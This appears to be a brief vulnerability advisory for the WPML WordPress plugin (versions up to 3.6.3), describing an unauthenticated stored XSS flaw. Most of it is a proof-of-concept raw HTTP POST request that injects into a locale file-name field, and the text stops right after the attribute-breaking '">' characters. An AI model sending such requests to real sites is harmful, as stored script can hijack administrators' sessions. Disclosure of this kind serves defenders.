WPML <= 3.6.3 - Unauthenticated Stored Cross-Site Scripting (XSS)

The sitepress-multilingual-cms WordPress plugin was affected by an Unauthenticated Stored Cross-Site Scripting (XSS) security vulnerability.

PoC

POST /wp-admin/admin.php?page=sitepress-multilingual-cms-3.6.3%2Fmenu%2Ftheme-localization.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 90 Cookie: wordpress_test_cookie=WP+Cookie+check Connection: close Upgrade-Insecure-Requests: 1 icl_post_action=save_theme_localization&locale;_file_name_en=">